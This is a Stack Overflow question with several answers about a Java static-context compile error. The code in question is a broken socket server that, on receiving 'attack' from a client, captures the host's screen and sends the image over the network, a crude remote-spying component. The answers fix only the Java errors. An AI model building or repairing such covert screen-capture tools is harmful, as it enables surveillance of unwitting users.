0

Possible Duplicate:
non-static variable cannot be referenced from a static context (java)

i got the above error while compiling the following java code. i am new to this language and i am not so sure about the code.i can clear normal errors but this one i dont understand what it is.please help me

public class Kari_Server
{


    ServerSocket server_socket=new ServerSocket(666);       
    Socket soc=server_socket.accept();
    DataInputStream data_in=new DataInputStream(soc.getInputStream());
    DataOutputStreamdata_out=newDataOutputStream(soc.getOutputStream());
    int a=1;
    int i;

    public void screen()throws Exception
    {

        Robot robo=new Robot();
        BufferedImage screen_shot=robo.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ImageIO.write(screen_shot,"JPG",new File("C:\\windows\\temp\\screen_shot"+a+".jpg"));
        FileInputStream file_in=new FileInputStream("C:\\windows\\temp\\screen_shot"+a+".jpg");
        byte[] mybyte=new byte[1024];
        try
        {
            while((i=file_in.read(mybyte))>-1)
                data_out.writeUTF(mybyte,0,i);
        }
        catch(Exception e)  {}  
    }           

    public static void main(String args[])throws Exception  
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=data_in.readUTF();
            if(s1=="attack")
                kari.screen();
            else
                System.exit(0);
        }   
    }   
}  
Community
  • 1
  • 1
  • Thanks for clarifying my previous error now i got this one,which i forget to ask before...Kari_Server.java:27: cannot find symbol symbol : method writeUTF(byte[],int,int) location: class java.io.DataOutputStream data_out.writeUTF(mybyte,0,i); please help me in this one too. – user2015223 Jan 27 '13 at 10:15

5 Answers5

1

The main method is a static one. It can not access anything but static variables from the class. In order to access the data_in you need to work with it with the already existing kari variable. So, instead of

s1=data_in.readUTF();

use

s1=kari.data_in.readUTF();

GeorgeVremescu
  • 1,253
  • 7
  • 12
  • Kari_Server.java:27: cannot find symbol symbol : method writeUTF(byte[],int,int) location: class java.io.DataOutputStream data_out.writeUTF(mybyte,0,i); could you please help me in this one too... – user2015223 Jan 27 '13 at 10:17
  • It seems there is no `writeUTF` for `DataOutputStream` See documentation: http://docs.oracle.com/javase/1.4.2/docs/api/java/io/DataOutputStream.html – GeorgeVremescu Jan 27 '13 at 10:23
  • yes,you were right writeUTF can't write bytes of data,it is write() instead to use.I changed that but now my Initial declarations from ServerSocket=new ServerSocket(666) to DataOutputStream data_out=new DataOutputStream are throwing an unreportedException,i dont know what to do with that.Could you please clarify that too.... – user2015223 Jan 27 '13 at 10:48
1

data_in belongs to an instance of Kari_Server, but the main function does not. Move the reference to data_in to a non-static function:

...
protected readUTF() throws Exception
{
    return data_in.readUTF();
}
public static void main(String args[]) throws Exception
{
    {
        Kari_Server kari=new Kari_Server();
        while(true)
        {
            String s1=" ";
            s1=kari.readUTF();
... 
Jon Hulka
  • 1,259
  • 10
  • 15
0

I think your problem is with data_in

 DataInputStream data_in=new DataInputStream(soc.getInputStream());

You use that field in static void main method

  s1=data_in.readUTF();

The static method can't be access non static field.

The solutions is :

  1. Change your data_in to static field

    static DataInputStream data_in=new DataInputStream(soc.getInputStream());
    
  2. Or, access the data_in with kari object :

    kari.data_in
    
Iswanto San
  • 18,263
  • 13
  • 58
  • 79
0

data_in is a member field of the Kari_Server class. So you need to refer it via an instance of the Kari_Server. You can either user kari.data_in or create a getter for this field and use kari.gatDataIn().

Bogdan
  • 934
  • 7
  • 13
0

You are calling method and variables from the main method which is static, so your method and all variables in the class that are used in the method should be declared as static.

H. Aghassi
  • 221
  • 4
  • 16